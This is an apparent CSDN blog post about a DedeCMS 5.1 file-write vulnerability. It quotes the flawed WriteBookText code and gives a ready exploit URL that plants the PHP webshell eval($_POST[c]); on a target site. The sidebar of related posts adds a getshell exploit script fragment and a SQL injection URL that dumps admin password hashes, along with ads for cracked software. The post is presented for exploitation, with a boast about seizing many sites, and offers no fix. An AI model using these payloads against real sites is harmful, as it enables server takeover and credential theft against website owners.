DedeCMS 5.1 直接写入马漏洞

DedeCMS v5.7 SP2漏洞实战:从XSS到文件写入的完整复现指南 本文深度剖析了DedeCMS v5.7 SP2版本中存在的多个安全漏洞,包括XSS跨站脚本攻击和文件写入漏洞。文章提供了从环境搭建、漏洞原理解析到实战复现的完整指南,并重点阐述了如何从代码层面进行防御加固,帮助开发者和安全人员构建有效的立体防护策略。 阅读详情

最早见于http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
经过研究发现。可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。
漏洞代码如下:
include/inc_bookfunctions.php

function WriteBookText($cid,$body)
{
        global $cfg_cmspath,$cfg_basedir;
        $ipath = $cfg_cmspath."/data/textdata";
        $tpath = ceil($cid/5000);
        if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
        if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
        $bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
        $body = "<"."?php/r/n".$body."/r/n?".">";
        @$fp = fopen($bookfile,'w');
  @flock($fp);
  @fwrite($fp,$body);
  @fclose($fp);
}


member/story_add_content_action.php

WriteBookText($arcID,addslashes($body));

可以看到,只是用addslashes进行了转义。但是$body = "<"."?php/r/n".$body."/r/n?".">";很明显可以写入一个小马的。呵呵。

利用方法
http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
这样就在data/textdata/目录下生成小马。 默认为data/textdata/1/bk1.php


 

DedeCMS V5.7 SP1漏洞实战:如何利用变量覆盖漏洞写入WebShell(附修复方案) 本文深度剖析了DedeCMS V5.7 SP1中存在的变量覆盖漏洞(CVE-2015-4553),详细阐述了其如何导致远程任意文件写入漏洞并被利用来写入WebShell。文章从漏洞原理、利用链逐步拆解到实战防御,提供了根本性的代码修复方案与多层次的安全加固建议,旨在帮助网站管理员和开发者彻底消除风险并提升系统安全性。 阅读详情

相关推荐

DedeCMS V5.7 SP1漏洞实战:如何利用CVE-2015-4553写入WebShell(附防御方案)

本文深入解析DedeCMS V5.7 SP1中的CVE-2015-4553高危漏洞,详细讲解远程任意文件写入漏洞的利用原理与实战方法,并提供全面的防御方案。通过分析漏洞形成机制、攻击向量及修复措施,帮助管理员有效防范WebShell注入风险,保障网站安全。

pz890123456的博客 301

plus/mytag_js.php?aid=9090,DeDeCMS(织梦)变量覆盖0day getshell

#!usr/bin/php -w<?phperror_reporting(E_ERROR);set_time_limit(0);print_r(´DEDEcms Variable CoverageExploit Author: www.heixiaozi.com www.webvul.com);echo "\r\n";if($argv[2]==null){print_r(´+--------...

weixin_35690449的博客 798

DedeCMS5.7 SP2前台文件上传漏洞实战:从环境搭建到Getshell完整指南

本文深入解析DedeCMS5.7 SP2前台文件上传漏洞(CVE-2018-20129),提供从环境搭建到漏洞复现的完整指南。通过详细分析漏洞原理和绕过技术,帮助安全研究人员理解文件上传漏洞的利用方式,并给出官方修复方案与防御实践建议,助力提升Web应用安全性。

vscode5coder的博客 691

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞

漏洞版本: DEDECMS 5.1 漏洞描述: 同样是在magic_quotes_gpc=off的情况下可用 此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl ...... $urlindex = 0; if(empty($arcID)) { $row = $dlist-&gt;dsql-...

weixin_33997389的博客 317

DedeCMS v5.7漏洞排查手册:如何发现并修复XSS与文件写入风险

本文详细解析了DedeCMS v5.7中的XSS与文件写入漏洞,提供了从漏洞复现到修复的完整方案。通过代码示例和防御措施,帮助管理员有效识别和修复安全风险,构建多层防护体系,确保系统安全。

tgb3456789的博客 322

从存储型XSS到文件写入:DedeCMS漏洞链实战剖析与防御

存储型XSS(跨站脚本攻击)是一种常见的Web安全漏洞,其原理在于攻击者将恶意脚本代码持久化存储在服务器端(如数据库),当其他用户访问包含该恶意数据的页面时,脚本会被浏览器执行。这种漏洞的技术价值在于,它不仅能窃取用户会话Cookie、进行钓鱼攻击,更可作为跳板,结合CSRF(跨站请求伪造)等手法,实现权限提升或文件写入等更深层次的危害,在内容管理系统(CMS)、论坛、社交平台等用户交互频繁的应用场景中尤为危险。本文以经典CMS系统为例,深入剖析如何通过会员中心功能点的输入过滤缺陷,构造并利用存储型XSS漏

weixin_33851604的博客 441

dedecms注入漏洞feedback.php,织梦(Dedecms) 5.1 feedback_js.php 注入漏洞

影响版本:DEDECMS 5.1漏洞描述:同样是在magic_quotes_gpc=off的情况下可用此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl......$urlindex = 0;if(empty($arcID)){$row = $dlist->dsql->GetOne("Select id From...

weixin_39912580的博客 398

一天能拿1000多个站的dedeBUG 漏洞

一天能拿1000多个站的dedeBUG 漏洞

DEDECMS V5.1 审计学习

阅读书籍:《黑客脚本全本》、第240页、关于dedecms v5.1 tag.php 注入漏洞复现问题。 书中作者这个漏洞复现有些不正确、 #0x01 文件/tag.php if(isset($_SERVER["QUERY_STRING"])){ $tag = trim($_SERVER["QUERY_STRING"]);  //query_string (查询字符串),如果有的...

weixin_33769207的博客 215

半监督的医学分割数据集(LA, Pancreas, ACDC和PROMISE12)分享

这篇文章提供了四个常用的半监督医学分割数据集,所有数据集都已经被处理成了.h5文件。下载之后就可以直接使用

qq_45691955的博客 4179

python爬虫入门教程(非常详细)

爬虫指的是一种自动化程序,能够模拟人类在互联网上的浏览行为,自动从互联网上抓取、预处理并保存所需要的信息。爬虫运行的过程一般是先制定规则(如指定要抓取的网址、要抓取的信息的类型等),紧接着获取该网址的HTML源代码,根据规则对源代码进行解析和抽取,最后进行处理和保存。爬虫在实际应用中广泛使用,如搜索引擎、大数据分析、交易数据采集等领域,都需要用到爬虫技术来实现信息的定向采集和处理。

工宗浩生财指南针 2万+

dedecms tag.php注入漏洞分析与利用工具

author:toby57 [www.toby57.cn] date:2008-08-18 Dedecms算是使用比较广泛的PHP整站系统了,在被使用的同时系统的安全性也被人们关注。在以前dedecms也爆过不少漏洞,官方都很快出了补丁,前几天80sec公布了注射漏洞 http://www.80sec.com/dedecms-sql-injection.html,其实这个系统也受最近很流行的...

weixin_30267785的博客 609

Qualcomm工具的使用

简介   由于我们公司主要是以高通平台为主,所以工具的使用是必不可少的,包括QPST、QRCT3、QXDM、QDART等。   高通工具顾名思义就是,对于高通平台的软件开发进行软件的烧录,软件的调试,软件的Log的抓取和分析过程,像我们平常用的大致就是烧版本、改NV、制作QCN、然后校准、强发强收等操作。 QPST   QPST主要是用来做一些参数的配置,包括EFS文件的编辑,QCN的导入和备份与...

Jimmy 2万+

DedeCMS V5.7 SP1变量覆盖漏洞深度解析:从原理到Shell写入实战

本文深度解析了DedeCMS V5.7 SP1中CVE-2015-4553变量覆盖漏洞的原理与利用方式。该漏洞允许攻击者通过未删除的安装目录,无需上传点即可实现远程任意文件写入,从而植入Webshell。文章从代码层面剖析了漏洞成因,并提供了从环境搭建到Shell写入的完整实战复现步骤,最后给出了开发与运维角度的防御建议。

weixin_29315569的博客 429

第五天 Labview数据记录(5.4 EXCEL文件读写)

Excel 文件读写在数据处理、自动化办公、数据分析等领域具有重要的意义。以下是 Excel 文件读写的主要应用场景和意义:1. 数据管理和整理;2. 自动化办公;3. 数据分析和可视化;4. 系统集成;5. 报表生成;6. 教育和培训;7. 实际应用场景。Excel 文件读写的意义在于提高数据处理的效率、减少人工操作、支持自动化办公、促进数据分析和可视化,以及实现系统之间的数据交互。无论是企业、组织还是个人,都可以通过 Excel 文件读写实现数据的高效管理和利用。

weixin_38637405的博客 1263

VOS中历史话单显示通话会话超时中断详解

假设一种场景:  主叫拨打被叫,主叫方异常离线,被叫方接听,被叫方发送200ok至VOS,VOS传送200ok给主叫,但是主叫方未给出正常ack回应,VOS重发几次后(根据SIP参数设定的重发机制),然后VOS服务器会中断话务,历史话单终止原因为会话超时。 参考呼叫分析信令如下图: ...

非著名运维的博客 5017

DEDECMS 漏洞汇总

日期:2019-08-08 10:20:28 更新: 作者:Bay0net 介绍: 0x01、组合拳拿 shell 漏洞版本:v5.5 - v5.7 前台任意用户密码重置 首先注册一个账户,账户名为 0000001,此处注册的账户,前面是多个 0,后面是 1 就行。 注册链接: http://192.168.31.59/member/index_do.php?fmd...

weixin_30527551的博客 6861

【Python图像处理局部放大】输入图像,选择两处不同的区域进行放大操作,然后将原始图像、处理后的两个区域以及标记合成新图像进行展示

Python图像处理与区域放大连接标记:选择特定区域并对其进行放大操作,然后将原始图像、处理后的两个区域进行标记后的新图像保存到文件中。

qq_35831906的博客 2243

【漏洞分析】DeDeCMS v5.7 SP2 正式版前台任意用户密码修改漏洞

织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。2018 年 1 月 10 日,锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节。

qq_44655084的博客 2821

数字图像处理 基于matlab、opencv计算图像的梯度方向和梯度幅值

图像可以被视为标量场(即二维函数)。通过微分将标量场转换为矢量场。梯度是一个向量,描述了在x或y方向上移动时,图像变化的速度。我们使用导数来回答这样的问题,图像梯度的大小告诉图像变化的速度,而梯度的方向告诉图像变化最快的方向。因为梯度有方向和大小,所以将这些信息编码为向量是很自然的。该向量的长度提供了梯度的大小,而其方向提供了梯度方向。因为梯度在每个位置可能不同,所以我们在每个图像位置用不同的向量来表示它。

学以致用 知行合一 3202

SpringBoot如何正确连接SqlServer(亲测可用)

对于SpringBoot连接SqlServer的方式和常见的错误的汇总。1、驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。2、com.microsoft.sqlserver.jdbc.SQLServerException: 对象名 ‘DUAL‘ 无效。

黄团团的个人博客 2万+

DedeCMS_v5.7漏洞复现

DedeCMS_v5.7漏洞复现 环境搭建: 服务器:WinServer2008(10.10.10.143) + phpstudy2018 DedeCMS版本:DedeCMS-V5.7-UTF8-SP2 下载地址:https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk 0x01 URL重定向 版本<=5.7sp2 漏洞复现 payload: http://10.10.10.143/Dedecms/plus/download.php?open

qq_51459600的博客 1万+

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

DedeCMS漏洞修复指南:如何防护XSS与文件写入攻击(附最新补丁)

本文提供了DedeCMS v5.7 SP2版本中XSS与文件写入漏洞的详细修复指南。文章深入剖析了漏洞原理与攻击链,并给出了从紧急临时防护、官方补丁安全安装到长期企业级加固策略的完整解决方案,帮助管理员有效防护网站安全。

whisky的博客 602

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

DedeCMS V5.7 SP2文件上传漏洞实战:从环境搭建到漏洞利用全流程

本文详细解析了DedeCMS V5.7 SP2文件上传漏洞(CVE-2018-20129)的复现与防御实践,包括漏洞背景、环境搭建、原理分析、复现步骤及防御方案。该漏洞允许攻击者绕过文件类型检测上传恶意文件,文章提供了从手工复现到自动化检测的全流程指南,并给出临时缓解措施和长期加固建议,帮助开发者有效防范此类安全风险。

elastic6hunter的博客 752

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

dedecms 漏洞汇总

Dedecms 5.6 rss注入漏洞   http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1 DedeCms v5.6 嵌入

积木网络 1万+
上一篇: Google高级技巧—GooGle Hack
下一篇: 入侵小记
HackCode
博客等级 码龄18年 12粉丝 55原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值